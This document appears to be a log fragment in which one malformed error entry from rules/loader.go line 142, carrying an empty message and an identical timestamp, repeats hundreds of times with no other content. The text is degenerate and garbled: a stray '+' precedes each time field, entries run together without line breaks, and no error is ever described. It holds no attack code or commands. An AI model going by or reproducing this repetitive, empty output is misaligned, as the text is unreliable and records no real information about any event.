source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:15+01:00 level=error msg= source=rules/loader.go:142 